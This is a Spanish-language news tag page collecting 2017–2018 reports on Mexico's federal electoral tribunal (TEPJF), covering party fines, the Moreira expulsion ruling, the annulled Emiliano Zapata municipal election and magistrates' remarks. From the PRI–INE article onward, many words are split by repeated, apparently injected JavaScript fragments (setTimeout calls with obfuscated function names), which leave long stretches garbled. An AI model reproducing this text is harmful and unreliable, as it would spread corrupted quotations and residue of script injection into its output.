Etiquetas: TEPJF


Critica Alejandro Encinas al TEPJF; se extralimitó

24 febrero, 2018

Adriana Muñoz. Veracruz. El senador de la República, experredista y hoy ligado a Morena, Alejandro Encinas Rodríguez, afirmó que el Tribunal Electoral del Poder Judicial de la Federación se extralimitó en sus funciones al dar a conocer que no se emitirán resultados preliminares (PREP) de la elección presidencial antes de la media noche.

Esta instrucción no le corresponde y además generará incertidumbre amén de poner en tela de juicio los eventuales resultados, explicó el exjefe del gobierno capitalino.

Esto más bien, evidenció, pareciera una especie de intervención en el proceso electoral y esta no es la función del TEPJF, al contrario, solo debe resguardar que los actores implicados cumplan la ley electoral.

Lo demás, es competencia exclusiva, subrayó, del Instituto Nacional Electoral.

“Yo creo que generar un margen de ocho horas para dar resultados electorales no solo va a generar un vacío de información sino la posibilidad de manipular los resultados, yo creo que la experiencia en nuestro país ha sido muy negativo con la forma en que se hacen los correos rápidos y el Instituto tiene que dar los resultados”, advirtió a su arribo al aeropuerto de Veracruz.


Multa TEPJF por más de 10.8 mdp al PVEM

21 febrero, 2018

México. El Tribunal Electoral del Poder Judicial de la Federación (TEPJF) confirmó la resolución del Consejo General del Instituto Nacional Electoral (INE), que estableció una multa por 10 millones 800 mil 434 pesos impuesta al Partido Verde Ecologista de México (PVEM).

Lo anterior, por faltas graves en el reporte de ingresos y egresos correspondientes al ejercicio 2013, recursos que serían destinados para actividades sustantivas del Consejo Nacional de Ciencia y Tecnología (Conacyt).

Por unanimidad, la Sala Superior ratificó que el partido no comprobó el destino y aplicación de recursos por concepto de transportación aérea prestados por Redwings S.A. de C.V. y Grupo México de Convenios Internacionales S.A., por 530 mil pesos, y cinco millones 399 mil 894 pesos, respectivamente.

Incluso, el partido político sancionado pretendió demostrar ante el INE que erogó los recursos para un fin partidista y presentó contratos, cheques y facturas, con el propósito de ocultar el destino real de los recursos.

Sin embargo, como se evidenció de la investigación desplegada por la autoridad, los servicios de transportación nunca fueron prestados por la empresa Grupo México de Convenios Internacionales S.A.

Al resolver el SUP-RAP-24/2018, los magistrados también determinaron dar vista a la Fiscalía Especializada de Delitos Electorales (Fepade) y el Servicio de Administración Tributaria (SAT).

Lo anterior, para que en el ámbito de sus atribuciones determinen la responsabilidad por la participación o corresponsabilidad de otras personas físicas o morales, derivado del desvío de recursos.

La infracción del Partido Verde fue calificada como grave especial, por la que se le impuso la sanción económica referida, misma se deberá cubrir mediante la reducción de 50 por ciento de la ministración mensual por concepto de financiamiento público para el sostenimiento de actividades ordinarias permanentes.

Fuente: Notimex


Urgen a Gobiernos estatales concretar autonomía presupuestal de juzgados electorales

17 febrero, 2018

Arturo Arellano. Xalapa. La magistrada presidenta del Tribunal Electoral del Poder Judicial de la Federación (TEPJF), Janine Madeline Otálora Malassis, urgió a los Gobiernos estatales a concretar la autonomía presupuestal para juzgados electorales, como el caso del TEV en la entidad.

Indicó que si bien los presupuestos han sido suficientes, “lo que queremos no es tener que emitir sentencias ni los tribunales tener que impugnar ante nosotros”, dijo.

Dijo de la necesidad de un trabajo conjunto con los estados para obtener un presupuesto y no abrir conflicto entre tribunales y congreso internacional o contra los gobernadores.

“Sería lo que fortalecería la autonomía”, indicó.

Y es que cuando los tribunales son totalmente independientes, “cualquier democracia gana”, indicó.

Sobre el conteo de boletas, abundó que dada la historia electoral de México, debe existir un mecanismo para abrir una sola vez las urnas y no dos veces, en el entendido de que en la segunda puede haber una manipulación de las papeletas.


Moreira se queda en el PRI; TEPJF revoca su expulsión

14 diciembre, 2017

México. El Tribunal Electoral del Poder Judicial de la Federación (TEPJF) revocó la expulsión de Humberto Moreira del PRI y resolvió que se reponga el procedimiento, debido a que se violó el debido proceso así como los derechos de defensa y audiencia del exgobernador de Coahuila.

Durante la sesión de este jueves, el Pleno de la Sala Superior resolvió por unanimidad que en el juicio ciudadano 815, promovido por Humberto Moreira, la Comisión Nacional de Justicia Partidaria del Revolucionario Institucional violó el debido proceso en contra del coahuilense.

Dicha instancia partidista determinó la pérdida de la militancia del exmandatario coahuilense, luego de que fuera postulado por el Partido Joven a una diputación local plurinominal.

Al respecto, la ponencia de la magistrada Mónica Aralí Soto estimó que el procedimiento para declarar la pérdida de la militancia de Moreira debió cumplir las formalidades esenciales, lo cual implicaba emplazar al exmandatario para que se pudiera defender.

De ahí que, al no suceder ello, en opinión de la magistrada es fundado el motivo de agravio relativo a la violación del debido proceso, así como de los derechos de defensa y audiencia.

Lo anterior porque contrariamente a lo que se sostiene en la resolución reclamada el procedimiento para declarar la pérdida de la militancia sí debe cumplir las formalidades esenciales del procedimiento.

Ello implica emplazar a la persona cuyos derechos habrán de ser objeto de la decisión a fin de que manifieste lo que a su derecho convenga, además de que se le se debe notificar la resolución final.

Aunado a esto el Artículo 122 del Código de Justicia Partidaria dispone que todo procedimiento que se instaure para la instrucción de la solicitud de la pérdida de militancia se sujetará a las reglas relativas a los procedimientos sancionadores.

Toda vez que tales formalidades no se cumplieron en el caso concreto se decidió revocar la resolución impugnada, así como todo lo actuado en el expediente en cuestión, a efecto de que se emplace debidamente al actor.

Fuente: Notimex


Denuncia del PRI contra el INE no procede: TEPJF

29 noviembre, 2017

México. El Tribunal Electoral federal confirmó por unanimidad la sentencia dictada por la Sala Regional Especializada en el procedimiento especial sancionador SRE-PSC-134/2017, por medio de la cual consideró inexistentes las infracciones atribuidas por el Partido Revolucionario Institucional (PRI) a autoridades del INE. 

Ello, por presunto uso indebido de tiempos del Estado por la difusión del promocional “Manifiesto reflexión” en radio y televisión.

La Sala Regional Especializada resolvió declarar inexistentes las violaciones alegadas, ya que el promocional se encuentra dentro de los parámetros legales, en atención a que en su contenido se advirtió la intención de promover la participación ciudadana para que ejerza su derecho político-electoral de voto activo, lo cual constituye uno de los fines del Instituto Nacional Electoral (INE).

Asimismo, subrayó que en el mensaje se refieren problemáticas comunes que permean en la sociedad mexicana, como la inseguridad, la corrupción y la desigualdad, que son temas de suma importancia para la ciudadanía.

Temas que han trascendido a la esfera de lo social, por lo que la Sala Regional consideró que el denunciante partía de una premisa incorrecta al plantear que están reservados para el debate entre los partidos políticos.

Inconforme con la resolución de la Sala Especializada, el PRI interpuso recurso de revisión del procedimiento especial sancionador, manifestandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}ando tres agravios relativos a la violación a los principios de exhaustividad, congruencia e imparcialidad.

Al resolver el expediente SUP-REP-147/2017, el órgano jurisdiccional determinó que la Sala Especializada no contravino el principio de exhaustividad, pues analizó en su integridad el contexto del promocional, de cuyo contenido no se advierte que el INE incurra en un uso indebido de la pauta o se ubique en favor o en contra de un determinado partido político para la próxima contienda electoral.

El TEPJF señaló que la finalidad del referido promocional es la de cumplir con las tareas de educación cívica encomendadas al INE, promover la participación ciudadana a través del voto mediante la exposición de cuestiones trascendentes que se presentan como problemáticas en el acontecer nacional.

En sesión pública, el pleno declaró infundado también el agravio relativo a que la sentencia impugnada carece de congruencia interna, al establecer, por una parte, que el fin de la campaña es fomentar la participación activa, sustantiva y responsable de la ciudadanía y, por otra, que el mensaje establece que es posible terminar con la corrupción, la inseguridad y la desigualdad a través del sufragio.

El Tribunal Electoral del Poder Judicial de la Federación (TEPJF) consideró infundado el agravio relativo a que el INE violó el principio de imparcialidad, argumentandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}ando que el promocional se aleja de los fines de una propagandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}anda institucional.

Ello, precisó, toda vez que la autoridad electoral administrativa no está indicandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}ando que la ciudadanía vote contra el partido político recurrente o a favor de otra fuerza política, al limitarse a fomentar la decisión, el trabajo y la exigencia mediante una participación activa y directa de la ciudadanía.

Dicha participación ciudadana está encaminada a enfrentar la corrupción, la inseguridad y la desigualdad, pero sin atribuir tales problemas a una fuerza política determinada a nivel federal, estatal o municipal, ni a un gobernante en particular.

En consecuencia, el pleno confirmó la sentencia de la Sala Regional Especializada.

Fuente: Notimex


Confía Morena en que TEPJF ratifique triunfo en Emiliano Zapata

20 noviembre, 2017

Adriana Muñoz Cabrera. Veracruz. Hay confianza en que los magistrados ratifiquen el triunfo en la alcaldía de Emiliano Zapata a favor de Jorge Alberto Mier Acolt, aseguró la representante Morena ante el OPLE, Leslie Mónica Garibo Puga.

Este lunes, el excandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}idato a la alcaldía de Emiliano Zapata por Morena, Jorge Alberto Mier Acolt, y la síndica electa, Adriana León Ramos, acudieron a la Sala Superior del Tribunal Electoral del Poder Judicial de la Federal (TEPJF) para presentar tres recursos de reconsideración, a fin de que los magistrados ratifiquen el triunfo de su partido en ese municipio.

Como se recordará, expresó Leslie Mónica, la Sala Regional Xalapa del TEPJF anuló la elección de la alcaldía en Emiliano Zapata.

Garibo Puga, Mier Acolt y León Ramos confían que en los primeros días del mes de diciembre, el TEPJF ratifique el fallo de la sentencia a favor del Partido Movimiento de Regeneración Nacional de ese lugar para dar certeza y legalidad a la elección.

“Estamos seguros de nuestro triunfo y por eso acudimos ante la Sala Superior del Tribunal Electoral del Poder Judicial de la Federación”.


Anula Tribunal elección municipal de Emiliano Zapata

17 noviembre, 2017

México. La Sala Regional Xalapa del Tribunal Electoral del Poder Judicial de la Federación (TEPJF) anuló la elección en el municipio Emiliano Zapata, Veracruz.

Lo anterior al resolver el juicio ciudadano 648 y el juicio de revisión constitucional electoral 117, ambos de este año, promovidos por Daniel Antonio Baizabal González y el Partido de la Revolución Democrática (PRD), respetivamente.

La pretensión de los actores consistía en revocar la resolución impugnada y que la Sala Regional decretara la nulidad de la elección mencionada. Ello porque, en su opinión, el Tribunal local vulneró los principios de congruencia, exhaustividad y debida fundamentación y motivación.

Lo anterior porque en la resolución controvertida se determinó que en la elección existió una irregularidad que afectó los principios de equidad y certeza, porque Daniel Baizabal, candom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}idato de la coalición Veracruz el Cambio Sigue, estuvo impedido para realizar campaña electoral durante seis días.

Pese a ello, en la sentencia del Tribunal Electoral de Veracruz se concluyó que debía aplicarse el principio de conservación de los actos públicos válidamente celebrados y sostener la elección.

Sin embargo, en concepto de los actores, no era posible aplicar dicho principio pues la irregularidad demostrada, consistente en la revocación provisional de la candom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}idatura de Daniel Baizabal, implicó una irregularidad grave que afectó de manera determinante el resultado de la elección.

En la sentencia de la Sala Xalapa esencialmente se determinó, por mayoría de votos, que la resolución impugnada sí afectó los referidos principios de exhaustividad, congruencia y debida fundamentación y motivación.

Ello en virtud de que la argumentación utilizada para sustentar que la irregularidad acreditada en la elección no fue determinante carece de la contundencia que el caso amerita.

Lo anterior tomandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}o en cuenta que la irregularidad demostrada implica, por sí misma, una afectación directa a los principios que deben tenerse por satisfechos para declarar la validez de una elección.

Así los magistrados federales, al analizar las afirmaciones de los actores en relación con la privación provisional de la candom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}idatura de Daniel Baizabal, determinaron que se incurrió en diversos escenarios.

Entre ellos la imposibilidad para que dicho ciudadano realizara campaña electoral durante los seis días que duró la revocación de su registro, y de acceder a tiempos en radio y televisión como medios para la realización de propagandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}a electoral.

Asimismo la imposibilidad para ejercer la totalidad del financiamiento destinado a la campaña electoral y de que Daniel Baizabal asistiera al debate organizado por la autoridad administrativa electoral local.

Por tanto, al estar acreditadas dichas situaciones, se arribó a la conclusión de que existió una violación grave a los principios de equidad y certeza, así como al derecho de la ciudadanía del municipio en comento, de votar de manera libre e informada.

Se resolvió que ello sí resulta determinante para el resultado de la elección, toda vez que la diferencia de votos entre el primero y el segundo lugar fue inferior al uno por ciento.

Como consecuencia de lo anterior se declaró la nulidad de la elección impugnada, se revocaron las constancias de mayoría expedidas en favor de los candom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}idatos postulados por Morena, y se ordenó la preparación de la elección extraordinaria en el municipio Emiliano Zapata.

Fuente: Notimex


Ratifica Tribunal Electoral sanción al PVEM por mal uso de datos personales

16 noviembre, 2017

México. El Tribunal Electoral del Poder Judicial de la Federación (TEPJF) confirmó la resolución del INE, por la que sancionó al Partido Verde Ecologista de México (PVEM) por el uso indebido de datos personales de varios ciudadanos.

La Sala Superior del órgano jurisdiccional confirmó, por unanimidad, la resolución INE/CG/403/2017 del Consejo General del Instituto Nacional Electoral (INE), emitida en el procedimiento sancionador UR/SCG/Q/CG/136/PEF/151/2015.

El PVEM interpuso recurso de apelación para controvertir la resolución referida, pretendiendo que se revocara por considerar que no se habría acreditado la vulneración al derecho de protección de datos personales de 50 ciudadanos.

Dichos ciudadanos de 12 estados de la República y la Ciudad de México recibieron  propagandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}a electoral en su domicilio sin consentimiento alguno, durante el desarrollo del proceso electoral de 2015.

De igual forma, el PVEM solicitó que se le redujera la sanción impuesta, establecida en 21 mil 030 pesos por cada uno de los casos, que en total suma un millón 51 mil 500 pesos.

La Sala Superior consideró infundados los agravios respecto a que la autoridad electoral administrativa no tomó en cuenta el hecho que las denuncias no fueran presentadas por quienes resultaron afectados por la infracción a sus datos personales, sino por partidos políticos.

Lo anterior, según el partido ecologista, con la intención de afectar mediática, jurídica y políticamente a este instituto político.

Sin embargo, para que los magistrados estudien las denuncias no constituye un requisito que estas hayan sido presentadas por los afectados, pues lo relevante es que los partidos tienen la obligación de guardar la reserva y confidencialidad de los datos personales que obren en su poder.

Además de que, en todo caso, la identidad de quien presentó las quejas no incide en la determinación de la legalidad de las conductas.

En el mismo sentido, el pleno calificó como inoperantes los agravios referidos al hecho de que algunos de los ciudadanos que recibieron la propagandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}a son militantes del PVEM.

Lo anterior, en razón de que las 50 personas afectadas por el uso indebido de datos personales manifestaron no ser afiliadas, militantes o simpatizantes de dicho partido.

Fuente: Notimex


Asegura TEPJF que redes sociales no serán factor de inequidad

10 noviembre, 2017

San Miguel Allende. Al garantizar que las redes sociales no serán un factor de inequidad en el proceso federal en marcha, el magistrado José Luis Vargas Valdez dijo que la actuación de la Sala Superior del Tribunal Electoral del Poder Judicial de la Federación (TEPJF) está por encima de cualquier tipo de presiones.

“Sí, por supuesto, las presiones a los jueces no nos tienen que importar. Las presiones se tienen que entender como que simplemente son una manifestación de alguna de las partes, pero de ninguna manera pueden influir en lo que tiene que ver con nuestra decisión como jueces”, dijo a Notimex.

Entrevistado en el marco de los trabajos de la Primera Asamblea Plenaria de la Red Mundial de Justicia Electoral, organizada por el TEPJF, expuso que al no existir una legislación concreta en materia de redes sociales, el Tribunal analizará “caso por caso” los recursos que pudieran presentarse.

Lo anterior, ponderandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}o siempre entre el derecho a la libertad de expresión y, el principio de equidad y de legalidad con que se deben regir los procesos comiciales.

Además, “hay que decirlo también (las redes sociales) es un espacio de difícil regulación toda vez que nunca sabemos de bien a bien de donde están saliendo esos mensajes, este tipo de información”.

Vargas Valdez señaló que particularmente se vigilará el uso que los servidores públicos den a las redes sociales durante la contienda federal en marcha, pues recordó que se encuentran acotados por el Artículo 134 Constitucional, en cuanto al principio de neutralidad que deben observar.

Por otra parte, dijo que antes de pensar en alguna nueva reforma política, resulta vital demostrar que las normas actuales son suficientes para garantizar una elección libre y garantizar la certeza de los procesos que vienen.

“Si hay una reforma tendría que ser para otro proceso (electoral), no para este”, dado que la ley permite hacer modificaciones electorales 90 días antes del inicio de una contienda.

A pregunta expresa, hizo hincapié que en las últimas dos décadas ha habido una tendencia de actores y partidos políticos a judicializar los procesos electorales, de ahí la importancia de mandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ar mensajes claros a los actores políticos de que las elecciones se deben ganar en las urnas.

Y, “que los tribunales somos una instancia excepcional para garantizar la legalidad de los comicios y, por supuesto para que se respete el voto de los ciudadanos”.

La Sala Superior, abundó el magistrado, no puede generar incentivos para que partidos y candom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}idatos piensen que lo que no ganaron en las urnas lo pueden ganar en los tribunales, pues ello genera “esa judicialización y ese exceso de litigiosidad en los tribunales y particularmente en la Sala Superior”.

Entonces, “tenemos que hacer valer la voluntad popular y hacer valer la ley y precisamente cuandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}o eso no sucede, están los mecanismos de sanción para corregir al sistema democrático”, planteó.

Y al recordar que más de 50 por ciento de padrón electoral tiene menos de 50 años, el magistrado de la Sala Superior hizo notar la importancia de que éstos asuman la responsabilidad que les corresponde en torno a la democracia y participen activamente en las próximas contiendas federal y locales.

El magistrado Vargas consideró que de haber alguna inconformidad deberán hacer el trabajo que les corresponde para ayudar a cambiar la democracia y la política en general.

Al abordar el tema de las noticias falsas o “fake news”, destacó que no solo los partidos políticos e instituciones, sino los medios de comunicación también deben generar un contrapeso y dar elementos de objetividad para que la gente no se confunda en torno a cuestiones que incluso pueden lesionar seriamente a un candom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}idato a una contienda electoral.

El evento organizado por el Tribunal conjuntamente con la Organización de las Naciones Unidas y el Instituto Internacional para la Democracia y Asistencia Electoral (IDEA), reúne a representantes de 28 naciones y de 16 organizaciones nacionales e internacionales de los cinco continentes.

Fuente: Notimex


TEPJF debe retirar orden de resolución de elección 2016: Morena

7 noviembre, 2017

Adriana Muñoz Cabrera. Veracruz. Como todavía no se han resuelto las demandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}as por rebase de tope de campaña en 50 municipios,  el Tribunal Electoral (TEPJF) deberá retirar del orden del día la resolución sobre el resultado de la elección del pasado 5 de junio, aseguró el dirigente estatal del partido Movimiento Regeneración Nacional, Manuel Huerta Ladrón de Guevara.

En entrevista, subrayó que el objetivo es que se aporten pruebas suficientes acerca de la contratación de una empresa fantasma en las campañas electorales por parte del PAN-PRD.

Huerta Ladrón de Guevara no descartó un “madruguete” por parte del TEPJF como parte de un acuerdo que habrían tenido ayer el gobernador de Veracruz, Miguel Angel Yunes Linares con el presidente de la República, Enrique Peña Nieto en su visita por la entidad.

